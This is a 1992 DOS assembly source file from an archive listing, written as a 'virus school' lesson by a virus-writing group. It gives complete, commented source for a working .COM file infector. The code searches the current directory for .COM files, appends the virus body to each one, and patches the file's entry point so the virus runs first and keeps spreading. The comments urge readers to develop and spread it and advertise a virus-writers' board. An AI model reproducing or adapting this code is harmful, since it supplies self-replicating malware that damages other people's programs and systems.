home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-T.ZIP / TORM-205.ASM < prev    next >
Assembly Source File  |  1992-06-20  |  5KB  |  159 lines

  1. ;
  2. ;    Virus school, lession 1         (c) 1992 Tormentor [Demoralized Youth]
  3. ;
  4. ;    This is the first lession on how to make an own virus.
  5. ;    Hope you'll learn something of it...
  6. ;    To be compiled with TASM 3.0 or higher.
  7. ;
  8. ;    This virus is quite dumb and 'noisy' 
  9. ;    It updates the filedate and time, changes DTA before execution causing
  10. ;    some progs to belive they are executed with parameters...
  11. ;    But this should only be a 'raw' virus that you can develop.
  12. ;    Certain program may hang, so i recommend you not to spread to geeks
  13. ;    since there is MANY better viruses to use for such nice purpose.
  14. ;
  15. ;    If you want to conntact me or other virus-writers call me on my board:
  16. ;    Swedish Virus Laboratory    +46-3191-9393
  17. ;
  18. ;    Greetings to All virus-writers!
  19. ;    
  20.  
  21.  
  22.         .model    tiny
  23.         .radix    16
  24.         .code
  25.     
  26. Virus_Lenght    EQU    Virus_End-Virus_Start    ; Lenght of virus.
  27.  
  28.         org    100
  29.  
  30. dummy_code:    db    'M'        ; Mark file as infected.
  31.         db    3 DUP(90)    ; This is to simulate a infected prog.
  32.                     ; Not included in virus-code.
  33.  
  34. Virus_Start:    call    where_we_are    ; Now we call the next bytes, just to
  35.                     ; know what address virus lies on.
  36. where_we_are:    pop    si        ; Since the virus-code's address will
  37.                     ; differ from victim to victim.
  38.                     ; a POP SI after a call will give us the
  39.                     ; address which equals to 'where_we_are'
  40.                     ; Very important.
  41.  
  42. ;-----------------------------------------------------------------------
  43. ; Now we have to put back the original 4 bytes in the host program, so 
  44. ; we can return control to it later:
  45.  
  46.         add    si,_4first_bytes-where_we_are
  47.         mov    di,100
  48.         cld
  49.         movsw
  50.         movsw
  51.  
  52. ;------------------------------------------------------------------------
  53.  
  54. ; We have to use SI as a reference since files differ in size thus making
  55. ; virus to be located at different addresses.
  56.  
  57.         sub    si,_4first_bytes-Virus_Start+4
  58.  
  59. ;------------------------------------------------------------------------
  60. ; Now we just have to find victims, we will look for ALL .COM files in
  61. ; the current directory.
  62.         
  63.         mov    ah,4e        ; We start to look for a *.COM file
  64. look4victim:    mov    dx,offset file_match-Virus_Start
  65.         add    dx,si
  66.         int    21        
  67.  
  68.         jc    no_victim_found ; If no *.COM files was found.
  69.         
  70.         mov    ax,3d02        ; Now we open the file.
  71.         mov    dx,9e        ; The found victims name is at ds:009e
  72.         int    21        ; in DTA.
  73.         
  74.         jc    cant_open_file    ; If file couldn't be open.
  75.         
  76.         xchg    ax,bx        ; Save filehandle in bx
  77. ; (we could use MOV BX,AX but we saves one byte by using xchg )
  78.         
  79.         mov    ah,3f        ; Now we read the first 4 bytes
  80.         mov    cx,4        ; from the victim -> buffer
  81.  
  82.         mov    dx,offset _4first_bytes-Virus_Start
  83.         add    dx,si
  84.                     ; We will then overwrite them with
  85.         int    21        ; a JMP XXXX to virus-code at end.
  86.         
  87.         jc    read_error
  88.  
  89.         cmp    byte ptr ds:[si+_4first_bytes-Virus_Start],'M'
  90.         jz    sick_or_EXE    ; Check if infected OR *.EXE 
  91. ; Almost all EXE files starts with 'M' and we mark the infected files by
  92. ; starting with 'M' which equals to DEC BP 
  93. ; Now we just have to have one check instead of 2 (infected and *.EXE)
  94.  
  95.         mov    ax,4202        ; Position file-pointer to point at 
  96.         xor    cx,cx        ; End-of-File.
  97.         xor    dx,dx        ; Any writing to file will now APPEND it
  98.         int    21        ; Returns AX -> at end.
  99.  
  100.         sub    ax,4        ; Just for the JMP structure.
  101.  
  102.         mov    word ptr ds:[_4new_bytes+2],ax
  103.                     ; Build new JMP XXXX to virus.
  104.                     ; ( logic: JMP AX )
  105.         
  106.         mov    ah,40        ; Append file with virus code.
  107.         mov    cx,offset Virus_Lenght    
  108.                     ; File-size will increase with 
  109.         mov    dx,si        ; Virus_Lenght.
  110.         int    21        
  111.  
  112.         jc    write_error
  113.     
  114.         mov    ax,4200        ; Position file-pointer to begin of file
  115.         xor    cx,cx        ; So we can change the first 3 bytes
  116.         xor    dx,dx        ; to JMP to virus.
  117.         int    21        
  118.  
  119.         mov    ah,40        ; Write new 3 bytes.
  120.         mov    cx,4        ; After this, executing the file will
  121.         mov    dx,offset _4new_bytes-Virus_Start
  122.         add    dx,si
  123.                     ; result in virus-code executing before
  124.         int    21        ; original code.
  125.                     ; (And more files will be infected)
  126.         
  127.         jc    write_error
  128.  
  129.         mov    ah,3e        ; Close file, now file is infected.
  130.         int    21        ; Dos function 3E (close handle)
  131.  
  132. Sick_or_EXE:    mov    ah,4f        ; Well, file is infected. Now let's
  133.         jmp    look4victim    ; find another victim...
  134.  
  135. write_error:        ; Here you can test whats went wrong.
  136. read_error:        ; This is just for debugging purpose.
  137. cant_open_file:        ; These entries are equal to eachother
  138. no_victim_found:    ; but could be changed if you need to test something.
  139.                     
  140.         mov    ax,100        ; Every thing is put back in memory,
  141.         push    ax        ; lets us RET back to start of program
  142.         ret            ; and execute the original program.
  143.  
  144. notes        db    ' (c) 1992 Tormentor ,Swedish Virus Laboratory'
  145.         db    ' / Demoralized Youth / '
  146.  
  147. file_match    db    '*.COM',0    ; Pattern to search for.
  148.                     ; Don't forget to end with 0 !
  149.  
  150. _4first_bytes:    ret            ; Here we save the 4 first org. bytes
  151.         db    3 DUP(0)    
  152. ; We have a ret here since this file isn't a REAL infection.
  153.  
  154. _4new_bytes    db    'M',0E9, 00, 00    ; Here we build the 4 new org. bytes
  155.                     ; so our virus-code will be run first.
  156. Virus_End    EQU    $    
  157.  
  158.         end    dummy_code
  159.